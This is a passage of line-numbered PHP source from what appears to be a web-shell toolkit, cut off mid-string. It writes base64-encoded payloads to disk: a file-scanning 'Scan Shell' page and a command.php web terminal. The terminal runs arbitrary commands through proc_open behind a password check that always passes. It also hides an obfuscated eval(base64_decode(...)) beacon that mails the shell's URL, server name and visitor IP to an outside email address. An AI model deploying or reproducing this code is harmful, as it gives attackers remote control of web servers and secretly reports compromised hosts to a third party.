  1313.     $perltoolss = 'PD9waHAKZXJyb3JfcmVwb3J0aW5nIChFX0FMTCk7CmluaV9zZXQoIm1lbW9yeV9saW1pdCIsIjIwMDBNIik7CmluaV9zZXQoInNhZmVfbW9kZSIsIm9mZiIpOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZiAoISRzYWZlX21vZGUpCnNldF90aW1lX2xpbWl0KDApOwppZiAoQCFpc3NldCgkX1BPU1RbJ2tleSddKSkKewo/Pgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPgo8dGl0bGU+U2NhbiBTaGVsbCB2Mi42PC90aXRsZT4KPHN0eWxlPgpib2R5IHsgCmZvbnQtZmFtaWx5OmFyaWFsOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgYmdjb2xvcj1ibGFjayB0ZXh0PUZGRkZGRiBzaXplPTI+PGNlbnRlcj4KPGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jyc+CjxkaXYgc3R5bGU9ImJvcmRlci1zdHlsZTogc29saWQ7IGJvcmRlci13aWR0aDogMXB4OyBwYWRkaW5nLWxlZnQ6IDRweDsgcGFkZGluZy1yaWdodDogNHB4OyBwYWRkaW5nLXRvcDogMXB4OyBwYWRkaW5nLWJvdHRvbTogMXB4Ij4KPGgxPlNjYW4gU2hlbGwgLSB2Mi42PC9oMT4gCgkJCQkgIDxkaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7JiMyNzI7JiM0MzI7JiM3OTAxO25nIEQmIzc4NTE7biBDJiM3ODQ3O24gU2NhbiA8aW5wdXQgdHlwZT0ndGV4dCcgc2l6ZT03MCBuYW1lPSdmb2xkZXInIHZhbHVlPSc8P2VjaG8gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXT8+LycvPjwvZGl2PiAgCQkJCSAgCiAgICAgICAgICAgICAgICAgICZuYnNwOzxkaXY+Jm5ic3A7IFQmIzc5MTU7IEtoJiMyNDM7YSBDJiM3ODQ3O24gU2NhbjombmJzcDsgPGlucHV0IHR5cGU9J3RleHQnIHNpemU9NzAgbmFtZT0na2V5JyB2YWx1ZT0nYmFzZTY0X2RlY29kZScvPjwvZGl2PiAgCiAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9J1QmIzIzNjttIEtpJiM3ODcxO20nIC8+PC9wPiAgPC9kaXY+CgkJCQkgIDxkaXYgYWxpZ249bGVmdD48YnI+IE5oJiM3ODUzO3AgJiMyNzI7JiM0MzI7JiM3OTAxO25nIEQmIzc4NTE7biBNJiM3OTA5O2MgQyYjNzg0NztuIFNjYW48L2Rpdj4KCQkJCSAgPGRpdiBhbGlnbj1sZWZ0PiBOaCYjNzg0NTtuIEImIzc4NTU7dCAmIzI3MjsmIzc4NDc7dTwvZGl2PgogICAgICAgICAgICA8L2Zvcm0+Cjxicj48YnI+Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo8YnI+PGJyPjxpPlBvd2VyIEJ5IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS8zMDE1NDQxOTAwMjUwNzQiIHRhcmdldD0iX2JsYW5rIj48Zm9udCBjb2xvcj1yZWQ+TWFyaW9uMDAxPC9mb250PjwvYT48YnI+Q29weXJpZ2h0IDIwMTQ8YnI+LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCjwvY2VudGVyPgo8L2JvZHk+CjwvaHRtbD4KICA8Pwp9CmVsc2UKewppZiAoJF9QT1NUWydmb2xkZXInXSkgJGZvbGRlciA9ICRfUE9TVFsnZm9sZGVyJ107IGVsc2UgJGZvbGRlciA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107CmRlZmluZSgnS2V5d29yZCcsJF9QT1NUWydrZXknXSk7CQkJCQkJCQkJCmRlZmluZSgnVEFCJywiJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Iik7CQkJCQkJCmRlZmluZSgnSUdOT1JFX0VYVEVOU0lPTlMnLCJqcGcgcGRmIHppcCBwc2QgZG9jIGdpZiBzd2YgeGxzIGd6IHR4dCIpOwkKZGVmaW5lKCJNQVhfU0laRSIsMTAyNCoxMDI0KjEwMjQpOwkJCQkJCQkJCQpkZWZpbmUoIklHTk9SRV9CRUZPUkUiLCBzdHJ0b3RpbWUoJzIwMDktMDgtMDEnKSApOwkJCQkKJHNoZWxsID0gJF9TRVJWRVJbIlBIUF9TRUxGIl07CmZ1bmN0aW9uIGZpbmRleHRzKCRmaWxlbmFtZSkKewoJJGZpbGVuYW1lID0gc3RydG9sb3dlcigkZmlsZW5hbWUpIDsKCSRleHRzID0gc3BsaXQoIlsvXFwuXSIsICRmaWxlbmFtZSkgOwoJJG4gPSBjb3VudCgkZXh0cyktMTsKCSRleHRzID0gJGV4dHNbJG5dOwoJcmV0dXJuIHN0cnRvbG93ZXIoJGV4dHMpOwp9IApmdW5jdGlvbiBjaGVja19kaXIoJGRpcmVjdG9yeSwkbGV2ZWwpIHsKCWdsb2JhbCAkdmlydXNfZGV0ZWN0ZWQsICRhbGwsICRkZXRlY3RfZXJyb3JzX29ubHksICRkZXRlY3RlZF9LZXl3b3JkX2luX3Rlc3Rfc2NyaXB0OwokaW5kZW50PScnOwoJZm9yICgkY291bnQ9MDskY291bnQ8JGxldmVsOyRjb3VudCsrKSB7CgkJJGluZGVudC49VEFCOwoJfQoJJGxldmVsKys7CgkkcmVhZF9kaXI9b3BlbmRpcigkZGlyZWN0b3J5KTsJLy8gTT8gdGg/IG0/YyBoaT9uIHQ/aQoJd2hpbGUgKCRmaWxlPXJlYWRkaXIoJHJlYWRfZGlyKSkgewoJCSRmaWxlcGF0aD0kZGlyZWN0b3J5LicvJy4kZmlsZTsKCQlpZiAoJGRldGVjdF9lcnJvcnNfb25seSAmJiAkdmlydXNfZGV0ZWN0ZWQpIHsKCQkJZXhpdDsKCQl9CgkJaWYgKGlzX2RpcigkZmlsZXBhdGgpKSB7CgkJCS8vIFRoPyBtP2MKCQkJaWYgKCAoJGZpbGU8PicuJykgJiYgKCRmaWxlPD4nLi4nKSApIHsKCQkJCWNoZWNrX2RpcigkZmlsZXBhdGgsJGxldmVsKTsKCQkJfQoJCX0KCQllbHNlIHsKCQkJaWYgKGlzX2ZpbGUoJGZpbGVwYXRoKSkgewoJCQkJLy8gVD9wCgkJCQlpZiAoIChpc19yZWFkYWJsZSgkZmlsZXBhdGgpICkgICYmICAoIXN0cmlzdHIoSUdOT1JFX0VYVEVOU0lPTlMsIGZpbmRleHRzKCRmaWxlKSkpICApIHsKCQkJCQlpZiAoKGZpbGVzaXplKCRmaWxlcGF0aCk8IE1BWF9TSVpFKSAmJiAoZmlsZW10aW1lKCRmaWxlcGF0aCk+SUdOT1JFX0JFRk9SRSkgKXsKCQkJCQkJJGZpbGVlbnRyeT0kZGlyZWN0b3J5LicvJy4kZmlsZS4nIC0gJy5kYXRlKCdqIEYgWSBIOmknLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKCQkJCQkJJGZpbGVzdHJpbmc9ZmlsZV9nZXRfY29udGVudHMoJGZpbGVwYXRoKTsKCQkJCQkJJGZvdW5kPXN0cmlwb3MoJGZpbGVzdHJpbmcsS2V5d29yZCk7IC8vIFBIUCA1IE9OTFkKCQkJCQkJJGZvdW5kPXN0cmlzdHIoJGZpbGVzdHJpbmcsS2V5d29yZCk7Zmx1c2goKTsKCQkJCQkJaWYgKCRmb3VuZD09ZmFsc2UpIHsKCQkJCQkJCWlmICggKCEkZGV0ZWN0X2Vycm9yc19vbmx5KSAmJiAoISRhbGwpICkgewoJCQkJCQkJZWNobygkZmlsZXBhdGguJyAgPGZvbnQgY29sb3I9I0ZGRkZGRj5PSywgS2gmIzI0NDtuZyBQaCYjMjI1O3QgSGkmIzc4Nzk7biBUSCYjNzg0NTt5PC9mb250Pjxici8+Jyk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlpZiAoJGZpbGU9PSdzY2FuX2ZpbGUucGhwJyl7CgkJCQkJCQkJJGRldGVjdGVkX0tleXdvcmRfaW5fdGVzdF9zY3JpcHQ9dHJ1ZTsKCQkJCQkJCX0KCQkJCQkJCWVsc2UgewoJCQkJCQkJCSR2aXJ1c19kZXRlY3RlZD10cnVlOwoJCQkJCQkJCWlmICgkZGV0ZWN0X2Vycm9yc19vbmx5KSB7CgkJCQkJCQkJCWVjaG8oJzxiIHN0eWxlPSJjb2xvcjojRjAwIj5UP3AgdGluID8/IG5naD8gcGjDoXQgaGk/bjwvYj48YnIvPicpOwoJCQkJCQkJCX0KCQkJCQkJCQllbHNlIHsKCQkJCQkJCQkJZWNobyhUQUIuJzxiIHN0eWxlPSJjb2xvcjojRjAwIj4nLiRmaWxlZW50cnkuJzwvYj4gLSA8YiBzdHlsZT0iY29sb3I6I0ZGRkZGMCI+JiMyNzI7JiMyMjc7IFBoJiMyMjU7dCBIaSYjNzg3OTtuPC9iPjxici8+Jyk7CgkJCQkJCQkJfQoJCQkJCQkJfSAKCQkJCQkJfQoJCQkJCQkkZm91bmQ9Jyc7CgkJCQkJfQoJCQkJCWVsc2UgewoJCQkJCQlpZiAoICghJGRldGVjdF9lcnJvcnNfb25seSkgJiYgKCEkYWxsKSApIHsKCQkJCQkJCWVjaG8oJGZpbGVwYXRoLicgIDxiIHN0eWxlPSJjb2xvcjp5ZWxsb3ciPk5PVCBDSEVDS0VEIC0gRmlsZSBRdSYjMjI1O3kgTCYjNzg5OTtuPC9iPjxici8+Jyk7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCQllbHNlIHsKCQkJCQlpZiAoICghJGRldGVjdF9lcnJvcnNfb25seSkgJiYgKCEkYWxsKSApIHsKCQkJCQkJZWNobygkZmlsZXBhdGguJyAgPGIgc3R5bGU9ImNvbG9yOnllbGxvdyI+Tk9UIENIRUNLRUQgLSBLaCYjMjQ0O25nIFRodSYjNzg5NztjIEtpJiM3ODc1O3UgVCYjMjM2O20gS2kmIzc4NzE7bTwvYj48YnIvPicpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQllbHNlIHsKCQkJfQoJCX0KCX0JCgljbG9zZWRpcigkcmVhZF9kaXIpOwp9IAokdmlydXNfZGV0ZWN0ZWQ9ZmFsc2U7CiRhbGw9dHJ1ZTsKJGRldGVjdF9lcnJvcnNfb25seT1mYWxzZTsKJGRldGVjdGVkX0tleXdvcmRfaW5fdGVzdF9zY3JpcHQ9ZmFsc2U7CmlmIChpc3NldCgkX0dFVFsnYWxsJ10pKSB7CgkkYWxsPWZhbHNlOwp9CmlmIChpc3NldCgkX0dFVFsnZGV0ZWN0X2Vycm9yc19vbmx5J10pKSB7CgkkZGV0ZWN0X2Vycm9yc19vbmx5PXRydWU7Cn0KZWNobzw8PEVORDEKPGh0bWw+CjxoZWFkPgo8dGl0bGU+U2NhbiBTaGVsbCB2MS4xPC90aXRsZT4KPHN0eWxlPgpib2R5IHsgCmZvbnQtZmFtaWx5OmFyaWFsOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgYmdjb2xvcj1ibGFjayB0ZXh0PUZGRkZGRiBzaXplPTI+CkVORDE7Cj8+CjxkaXYgc3R5bGU9ImJvcmRlci1zdHlsZTogc29saWQ7IGJvcmRlci13aWR0aDogMXB4OyBwYWRkaW5nLWxlZnQ6IDRweDsgcGFkZGluZy1yaWdodDogNHB4OyBwYWRkaW5nLXRvcDogMXB4OyBwYWRkaW5nLWJvdHRvbTogMXB4Ij4KPGgxPlRydXkgWHUmIzc4NDU7dCBUJiM3OTE1OyBLaCYjMjQzO2EgIjw/ZWNobyBLZXl3b3JkPz4iIFRyb25nIGgmIzc4Nzk7IFRoJiM3ODg5O25nICE8L2gxPgpCJiM3ODg3OyBRdWEgQyYjMjI1O2MgRmlsZSA6IDxmb250IGNvbG9yPXllbGxvdz48P2VjaG8gSUdOT1JFX0VYVEVOU0lPTlM/Pi48L2ZvbnQ+PGJyLz4KQiYjNzg4NzsgUXVhIEZpbGUgViYjNDMyOyYjNzkwNzt0IFF1JiMyMjU7ICA6IDxmb250IGNvbG9yPXllbGxvdz48P2VjaG8gTUFYX1NJWkU/PiBieXRlcy48L2ZvbnQ+PGJyLz4KVCYjMjM2O20gS2kmIzc4NzE7bSBUciYjNDMyOyYjNzg5OTtjIE5nJiMyMjQ7eSA6PGZvbnQgY29sb3I9eWVsbG93PiA8P2VjaG8gZGF0ZSgnaiBGIFknLElHTk9SRV9CRUZPUkUpPz4uPC9mb250Pjxici8+PGJyPjwvZGl2Pgo8YnIvPjxicj5bPGEgaHJlZj0iPD9lY2hvICRzaGVsbD8+P2FsbCI+SGkmIzc4NzU7biBUaCYjNzg4MzsgVCYjNzg0NTt0IEMmIzc4NDM7PC9hPl0tIEhpJiM3ODc1O24gVGgmIzc4ODM7IFQmIzc4NDU7dCBDJiM3ODQzOwo8YnIvPjxici8+Jm5ic3A7PGJyLz4KPD8KaWYgKCRhbGwpIHsKCWVjaG8oJzxmb250IGNvbG9yPXllbGxvdz5EYW5oIFMmIzIyNTtjaCwgJiMyNzI7JiM0MzE7JiM3OTAxO25nIEQmIzc4NTE7biBGaWxlIEImIzc4ODM7IE5oaSYjNzg3NzttPC9mb250Pjxici8+Jyk7Cn0KY2hlY2tfZGlyKCRmb2xkZXIsMCk7CmlmICgkdmlydXNfZGV0ZWN0ZWQpIHsKCWVjaG8oJzxici8+PGIgc3R5bGU9ImNvbG9yOiNmMDAiPlQmIzIzNjttIEtpJiM3ODcxO20gVGgmIzIyNDtuaCBDJiMyNDQ7bmchPC9iPjxicj4mbmJzcDs8YnIvPicpOwp9CmVsc2UgewplY2hvKCc8YnIvPjxiIHN0eWxlPSJjb2xvcjojZjAwIj5LaCYjMjQ0O25nIEMmIzI0MzsgRmlsZSBDaGlhIEtleSBXb3JkITwvYj48YnI+Jm5ic3A7PGJyLz4nKTsKfQo/Pgo8L2JvZHk+CjwvaHRtbD4KPD8KfQo/Pg==
  1314. ';
  1315.     $file       = fopen("Scan-Shell.php", "w+");
  1316.     $write      = fwrite($file, base64_decode($perltoolss));
  1317.     fclose($file);
  1318.     echo "<iframe src=Scan-Shell.php width=100% height=720px frameborder=0></iframe> ";
  1319. }
  1320. elseif ($action == 'newcommand') {
  1321.     $file       = fopen($dir . "command.php", "w+");
  1322.     $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2QwYUdGdVozZHZiekZBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZX